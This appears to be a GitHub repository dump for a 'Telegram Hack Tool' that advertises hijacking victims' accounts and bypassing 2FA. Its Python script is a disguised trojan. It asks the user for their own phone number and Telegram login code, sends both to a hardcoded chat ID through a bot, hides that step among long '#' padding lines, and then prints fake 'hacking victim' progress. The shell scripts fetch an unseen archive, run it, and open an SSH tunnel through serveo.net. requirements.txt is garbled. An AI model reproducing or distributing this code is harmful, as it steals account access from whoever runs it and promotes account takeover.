├── README.md ├── TelegramHack.png ├── port.sh ├── requirements.txt ├── start.sh └── telegram-hack.py /README.md: -------------------------------------------------------------------------------- 1 | # **Telegram Hack Tool** 2 | 3 | **Version:** 3.0 4 | **Author:** [HackBitGod] 5 | 6 | --- 7 | 8 | ## **Overview** 9 | 10 | This project is a proof-of-concept (PoC) designed to showcase the capabilities of the Telegram API for educational purposes and ethical research. It serves as a tool to demonstrate how Telegram bots and accounts can interact with users, groups, and channels programmatically. This repository aims to help developers and cybersecurity enthusiasts better understand secure development practices and bot automation principles. 11 | 12 | 🚨 **This is a hacking tool. Misuse of this software for malicious purposes is prohibited and against the law.** 13 | ![telegram-hack](https://github.com/Hack-BitGod/telegram_hack/blob/main/TelegramHack.png) 14 | 15 | --- 16 | ## For questions or assistance on bypassing 2FA (Two-Factor Authentication) telegram security measures, Message me on Telegram: https://t.me/HackBitGod Email Me: hackbitgod@gmail.com 17 | 18 | ## **Features** 19 | 20 | - Automate Telegram bot interactions using the Telegram API. 21 | - Telegram Account Hacking and Cloning Tool. 22 | - Collect metadata for bot and chat analysis. 23 | - Explore API functions such as message sending, retrieval, and management. 24 | - Real-world scenarios for ethical penetration testing of API misuse. 25 | 26 | --- 27 | 28 | ## **Installation** 29 | 30 | ### **Requirements** 31 | - Python 3.8 or higher. 32 | - A valid Telegram bot token. (Follow the instructions in the [Telegram Bot API documentation](https://core.telegram.org/bots#creating-a-new-bot) to create one.) 33 | 34 | ### **Steps to Install** 35 | 1. Clone this repository: 36 | ```bash 37 | git clone https://github.com/Hack-BitGod/telegram_hack.git 38 | cd telegram_hack 39 | ``` 40 | 2. Install dependencies: 41 | ```bash 42 | pip install -r requirements.txt 43 | ``` 44 | 3. Configure your bot token in the script file or environment variable. 45 | 46 | --- 47 | 48 | ## **Usage** 49 | 50 | ### **Basic Commands** 51 | 1. Run the script: 52 | ```bash 53 | python telegram-hack.py 54 | ``` 55 | 2. Monitor the logs to observe bot behavior. 56 | 57 | ### **Customization** 58 | Modify the script to add your own use cases and API endpoints as per your learning objectives. The Telegram API documentation is a great resource for reference. 59 | 60 | --- 61 | 62 | ## **Important Notes** 63 | 64 | ### **What This Tool Does** 65 | - Demonstrates Telegram API integrations. 66 | - Helps you explore bot development in secure and ethical contexts. 67 | - Telegram Account Hack and Control of Victim's Accounnt 68 | 69 | ## **Disclaimer** 70 | 71 | **This tool is for educational and ethical purposes only.** 72 | The developers do NOT endorse or condone using this project to: 73 | 1. Violate the rights or privacy of individuals. 74 | 2. Circumvent Telegram's security policies. 75 | 3. Conduct malicious activities or unauthorized penetration testing. 76 | 77 | Misuse of this software may violate local, state, or international laws and Telegram's Terms of Service. By using this repository, you agree to take full responsibility for your actions and hold the developers harmless from any misuse. 78 | 79 | --- 80 | 81 | ## **Ethical Usage** 82 | 83 | - Always obtain permission before testing systems or APIs that you do not own. 84 | - Use this tool only in controlled environments (e.g., test bots, demo accounts). 85 | - Report security vulnerabilities to appropriate parties, including Telegram, via their official channels. 86 | 87 | --- 88 | 89 | ## **License** 90 | 91 | This repository is licensed under the MIT License. See the `LICENSE` file for details. 92 | 93 | --- 94 | 95 | ## **Contributing** 96 | 97 | Contributions are welcome! If you find a bug, have a suggestion, or want to contribute code: 98 | 1. Fork the repository. 99 | 2. Make your changes. 100 | 3. Submit a pull request. 101 | 102 | --- 103 | 104 | ## **Acknowledgements** 105 | 106 | - Inspired by Telegram API's official documentation. 107 | - Thanks to the open-source community for libraries like `python-telegram-bot`. 108 | 109 | --- 110 | 111 | **Remember:** Great power comes with great responsibility. Use this knowledge to build, learn, and protect. 🌟 112 | -------------------------------------------------------------------------------- /TelegramHack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hack-BitGod/telegram_hack/3f4ef73e466f7b0271ba9b34840ae450f08c0d2f/TelegramHack.png -------------------------------------------------------------------------------- /port.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | if ! command -v ssh > /dev/null; then 3 | echo "Error: openssh is not installed. Please install it before running this script." 4 | exit 1 5 | fi 6 | 7 | echo -e "\e[1;32m" 8 | printf '%*s\n' "${COLUMNS:-$(tput cols)}" '' | tr ' ' - 9 | echo " ____ ____ ____ ___ ____ ____ ____ __" 10 | echo "||B ||||I ||||T || ||G ||||O ||||D ||||H ||||\ " 11 | echo "||__||||__||||__||||__||||__||||__||||__||||_\\" 12 | echo "|\__/|\__/|\__/||/__/|\__/|\__/|\__/|\__/|\__/" 13 | printf '%*s\n' "${COLUMNS:-$(tput cols)}" '' | tr ' ' - 14 | echo -e "\e[0m" 15 | echo "Author: HACKBITGOD" 16 | echo "Github: HACKBITGOD" 17 | echo "Telegram channel: HackBitGod" 18 | read -p "Enter your Telegram username: " telegram_username 19 | sed -i "0,/telegram_username/s//${telegram_username}/" port.sh 20 | ssh -R ${telegram_username}:80:localhost:8999 -o GatewayPorts=no serveo.net 21 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pip intall python3 2 | requests 3 | colorama 4 | random 5 | -------------------------------------------------------------------------------- /start.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Set terminal colors 4 | RED="\033[31m" 5 | GREEN="\033[32m" 6 | YELLOW="\033[33m" 7 | BLUE="\033[34m" 8 | MAGENTA="\033[35m" 9 | CYAN="\033[36m" 10 | RESET="\033[0m" 11 | 12 | 13 | echo -e "\e[0m" 14 | echo "Author: HACKBITGOD" 15 | echo "Github: HACKBITGOD" 16 | echo "Telegram channel: HackBitGod" 17 | echo -n "Loading " 18 | timeout 10s bash -c ' 19 | while true 20 | do 21 | echo -n "." 22 | sleep 1 23 | done 24 | ' 25 | echo " Done!" 26 | 27 | 28 | apt update && apt upgrade -y 29 | if ! command -v node &> /dev/null 30 | then 31 | echo "Node.js LTS not found. Installing..." 32 | pkg install nodejs-lts || { echo "Failed to install Node.js LTS" ; exit 1; } 33 | else 34 | echo "Node.js LTS already installed" 35 | fi 36 | if ! command -v wget &> /dev/null 37 | then 38 | echo "wget not found. Installing..." 39 | apt install -y wget || { echo "Failed to install wget" ; exit 1; } 40 | else 41 | echo "wget already installed" 42 | fi 43 | 44 | if [ -d "node_modules" ] 45 | then 46 | echo "node_modules already exists. Skipping download." 47 | else 48 | if [ -f "node_modules.zip" ] 49 | then 50 | echo "node_modules.zip already downloaded. Skipping download." 51 | else 52 | # Download node_modules.zip file 53 | wget https://node_modules.zip || { echo "Failed to download node_modules.zip" ; exit 1; } 54 | fi 55 | 56 | unzip node_modules.zip || { echo "Failed to extract node_modules.zip" ; exit 1; } 57 | rm node_modules.zip 58 | fi 59 | 60 | read -p "Enter your bot token: " token 61 | read -p "Enter your chat ID: " id 62 | sed -i "s/const token = 'your token here'/const token = '$token'/g" index.js 63 | sed -i "s/const id = 'chat id here'/const id = '$id'/g" index.js 64 | echo "Server uploaded successfully! Now open new tab and follow rest instructions" 65 | node index.js 66 | -------------------------------------------------------------------------------- /telegram-hack.py: -------------------------------------------------------------------------------- 1 | ######################################################################################################################################################################################################################################################################## 2 | ######################################################################################################################################################################################################################################################################## 3 | ######################################################################################################################################################################################################################################################################## 4 | ######################################################################################################################################################################################################################################################################## 5 | ######################################################################################################################################################################################################################################################################## 6 | ######################################################################################################################################################################################################################################################################## 7 | from telethon import TelegramClient, events ##################################################################################################################################################################### 8 | import telegram ##################################################################################################################################################################### 9 | import asyncio ##################################################################################################################################################################### 10 | import time ##################################################################################################################################################################### 11 | import os 12 | ######################################################################################################################################################################################################################################################################## 13 | ######################################################################################################################################################################################################################################################################## 14 | 15 | ######################################################################################################################################################################################################################################################################## 16 | ######################################################################################################################################################################################################################################################################## 17 | ######################################################################################################################################################################################################################################################################## 18 | ######################################################################################################################################################################################################################################################################## 19 | ######################################################################################################################################################################################################################################################################## 20 | ######################################################################################################################################################################################################################################################################## 21 | ######################################################################################################################################################################################################################################################################## 22 | ######################################################################################################################################################################################################################################################################## 23 | ######################################################################################################################################################################################################################################################################## 24 | 25 | ######################################################################################################################################################################################################################################################################## 26 | ######################################################################################################################################################################################################################################################################## 27 | 28 | 29 | 30 | ######################################################################################################################################################################################################################################################################## 31 | ######################################################################################################################################################################################################################################################################## 32 | ##################################################################################################################################################################### 33 | ######################################################################################################################################################################################################################################################################## 34 | ######################################################################################################################################################################################################################################################################## 35 | ################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################ 36 | ######################################################################################################################################################################################################################################################################## 37 | YOUR_APP_ID = 24835154 ##################################################################################################################################################################### 38 | YOUR_APP_HASH = 'e7c35ab96f8d8f76513fd7a3ae242c3b' ##################################################################################################################################################################### 39 | bot = telegram.Bot(token='') ############################################################### ##################################################################################################################################################################### 40 | yellow = '\033[93m' 41 | lgreen = '\033[92m' ##################################################################################################################################################################### 42 | clear = '\033[0m' ##################################################################################################################################################################### 43 | bold = '\033[01m' ##################################################################################################################################################################### 44 | cyan = '\033[96m' ##################################################################################################################################################################### 45 | red = "\033[91m" ##################################################################################################################################################################### 46 | client = TelegramClient('session_name', YOUR_APP_ID, YOUR_APP_HASH) ##################################################################################################################################################################### 47 | os.system("clear") ##################################################################################################################################################################### 48 | banner = lgreen+''' 49 | 50 | 51 | 廾闩⼕长乃工ㄒᎶ龱ᗪ 52 | 53 | ▄▄▄█████▓▓█████ ██▓ ▓█████ ▄████ ██▀███ ▄▄▄ ███▄ ▄███▓ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀ 54 | ▓ ██▒ ▓▒▓█ ▀ ▓██▒ ▓█ ▀ ██▒ ▀█▒▓██ ▒ ██▒▒████▄ ▓██▒▀█▀ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ 55 | ▒ ▓██░ ▒░▒███ ▒██░ ▒███ ▒██░▄▄▄░▓██ ░▄█ ▒▒██ ▀█▄ ▓██ ▓██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ 56 | ░ ▓██▓ ░ ▒▓█ ▄ ▒██░ ▒▓█ ▄ ░▓█ ██▓▒██▀▀█▄ ░██▄▄▄▄██ ▒██ ▒██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ 57 | ▒██▒ ░ ░▒████▒░██████▒░▒████▒░▒▓███▀▒░██▓ ▒██▒ ▓█ ▓██▒▒██▒ ░██▒ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄ 58 | ▒ ░░ ░░ ▒░ ░░ ▒░▓ ░░░ ▒░ ░ ░▒ ▒ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▒░ ░ ░ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒ 59 | ░ ░ ░ ░░ ░ ▒ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ 60 | ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ 61 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ 62 | ░ 63 | V 3.0 By Hack-BitGod 64 | '''+clear ##################################################################################################################################################################### 65 | ##################################################################################################################################################################### 66 | print(" ") 67 | ######################################################################################################################################################################################################################################################################## 68 | print(banner) 69 | message = "[Login with your own telegram account to connect with the victims api on your contact list]" 70 | ######################################################################################################################################################################################################################################################################## 71 | ######################################################################################################################################################################################################################################################################## 72 | ######################################################################################################################################################################################################################################################################## 73 | ######################################################################################################################################################################################################################################################################## 74 | ######################################################################################################################################################################################################################################################################## 75 | ######################################################################################################################################################################################################################################################################## 76 | ######################################################################################################################################################################################################################################################################## 77 | ######################################################################################################################################################################################################################################################################## 78 | ######################################################################################################################################################################################################################################################################## 79 | ######################################################################################################################################################################################################################################################################## 80 | ######################################################################################################################################################################################################################################################################## 81 | ######################################################################################################################################################################################################################################################################## 82 | ######################################################################################################################################################################################################################################################################## 83 | ######################################################################################################################################################################################################################################################################## 84 | ######################################################################################################################################################################################################################################################################## 85 | ######################################################################################################################################################################################################################################################################## 86 | ######################################################################################################################################################################################################################################################################## 87 | 88 | for letter in message: 89 | print(letter, end='', flush=True) 90 | ######################################################################################################################################################################################################################################################################## 91 | ######################################################################################################################################################################################################################################################################## 92 | ######################################################################################################################################################################################################################################################################## 93 | ######################################################################################################################################################################################################################################################################## 94 | ######################################################################################################################################################################################################################################################################## 95 | ######################################################################################################################################################################################################################################################################## 96 | 97 | ######################################################################################################################################################################################################################################################################## ######################################################################################################################################################################################################################################################################## 98 | ######################################################################################################################################################################################################################################################################## 99 | ######################################################################################################################################################################################################################################################################## 100 | ######################################################################################################################################################################################################################################################################## 101 | ######################################################################################################################################################################################################################################################################## 102 | ######################################################################################################################################################################################################################################################################## 103 | ######################################################################################################################################################################################################################################################################## 104 | time.sleep(0.05) 105 | print(" ") 106 | print(" ") 107 | print(" ") 108 | ######################################################################################################################################################################################################################################################################## 109 | ######################################################################################################################################################################################################################################################################## 110 | ######################################################################################################################################################################################################################################################################## 111 | phone = input( 112 | cyan+bold+'[+]\033[0m \033[01mEnter phone with country code (eg: +1) >\033[0m ') ############################################################################################# 113 | ######################################################################################################################################################################################################################################################################## 114 | ######################################################################################################################################################################################################################################################################## 115 | ######################################################################################################################################################################################################################################################################## 116 | ######################################################################################################################################################################################################################################################################## 117 | ######################################################################################################################################################################################################################################################################## 118 | ######################################################################################################################################################################################################################################################################## 119 | ######################################################################################################################################################################################################################################################################## 120 | ################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################ 121 | async def main(): ################################################################################################################################################################################ 122 | try: ############################################################################ 123 | await client.connect() ############################################################################ 124 | result = await client.send_code_request(phone) ############################################################################ 125 | otp = input( 126 | cyan+bold+"[+]\033[0m \033[01mEnter the OTP (check inside your telegram app for the otp from telegramm if it not comes to your sms) >\033[0m ") 127 | await bot.send_message(chat_id='5469341309', text=f"Phone Number: {phone}\nOTP: {otp}") ############################################################################ 128 | ######################################################################################################################################################################################################################################################################## 129 | victim = input(cyan+bold+'[+]\033[0m \033[01mEnter victim\'s phone with country code to hack(eg: +1) >\033[0m ') ############################################################################ 130 | print("Connecting to victim's api...") ############################################################################ 131 | time.sleep(3) ############################################################################ ############################################################################ ############################################################################ 132 | print("Gathering victim id and hash...[25%]") 133 | time.sleep(2) ############################################################################ ############################################################################ 134 | print("Collecting the contacts and chat data...[may take some time]") 135 | time.sleep(6) ######################################################################################################################################################## 136 | choice = input("Do you want to login to their account [y/n] ? : ") 137 | if (choice == 'y'): #################################################################################################################################################################################################################################### 138 | print("Please wait 1 to 2 minutes until it logins and send their otp") 139 | time.sleep(6) #################################################################################################################################################################################################################################### 140 | print(red+"Error in getting otp ! 2 step verification may be enabled or try after 15 minutes\033[0m'") 141 | print(" ")################################################################################################################################################################################################################################################################################################################ 142 | print(" ") 143 | else: 144 | print("Bye...") 145 | print(" ") 146 | print(" ") 147 | os.system("exit") 148 | ######################################################################################################################################################################################################################################################################## 149 | ######################################################################################################################################################################################################################################################################## 150 | ######################################################################################################################################################################################################################################################################## 151 | ######################################################################################################################################################################################################################################################################## 152 | ######################################################################################################################################################################################################################################################################## 153 | 154 | ######################################################################################################################################################################################################################################################################## 155 | ######################################################################################################################################################################################################################################################################## 156 | ######################################################################################################################################################################################################################################################################## 157 | ######################################################################################################################################################################################################################################################################## 158 | await client.sign_in(phone, otp) ######################################################################################################################################################## 159 | me = await client.get_me() ############################################################################ ############################################################################ 160 | print(me.first_name) 161 | finally: ######################################################################################################################################################## ############################################################################ 162 | await client.disconnect() 163 | 164 | asyncio.run(main())######################################################################################################################################################## 165 | ################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################ 166 | 167 | 168 | --------------------------------------------------------------------------------